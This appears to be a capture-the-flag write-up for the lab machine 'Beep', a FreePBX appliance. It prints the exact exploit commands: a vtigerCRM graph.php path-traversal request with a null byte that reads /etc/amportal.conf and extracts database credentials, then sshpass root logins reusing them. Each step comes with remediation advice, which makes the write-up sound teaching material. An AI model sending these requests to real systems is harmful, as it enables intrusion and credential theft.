Beep
Summary
The target was an aging Elastix/FreePBX VoIP appliance running Apache 2.2.3 on CentOS with fifteen services exposed to the network, including vtigerCRM on HTTPS/443 and Webmin on port 10000. I fingerprinted the web application stack, then exploited a known local file inclusion vulnerability in vtigerCRM's graph.php script — using a path-traversal string and a null-byte terminator to bypass the suffix check — and read the FreePBX database configuration file from disk.
That file stored the database password in plaintext. The password was also set on the OS root account and SSH was configured to accept root password logins, so a single authenticated SSH session as root immediately yielded full system control — no separate privilege-escalation exploit was required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 22,25,80,110,111,143,443,857,993,995,3306,4190,4559,5038,10000 $TARGETcurl -sk -m 20 -o /dev/null -D - http://$TARGET/Exact commands 2
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 -o /dev/null -D - https://$TARGET/curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 https://$TARGET/vtigercrm/FixPatch or remove the vulnerable vtigerCRM installationCritical
Exact commands 1
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index"Exact commands 1
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index" | grep -E 'AMPDBUSER|AMPDBPASS|AMPDBHOST'FixPrevent the web server from reading sensitive system configuration filesHigh
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'id; cat /home/*/user.txt'FixAssign unique passwords to every service account — never reuse database credentials on OS accountsCritical
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'cat /root/root.txt'FixDisable root SSH password login and enforce key-based authenticationHigh
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.2.3 |
| 110/tcp | pop3 recon-sweep-discovered |
| 111/tcp | rpcbind 2 (RPC #100000) |
| 143/tcp | imap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.2.3 ((CentOS)) |
| 857/tcp | status 1 (RPC #100024) |
| 993/tcp | imap recon-sweep-discovered |
| 995/tcp | pop3 recon-sweep-discovered |
| 3306/tcp | mysql recon-sweep-discovered |
| 4190/tcp | unknown recon-sweep-discovered |
| 4559/tcp | unknown recon-sweep-discovered |
| 5038/tcp | asterisk Asterisk Call Manager 1.1 |
| 10000/tcp | unknown recon-sweep-discovered |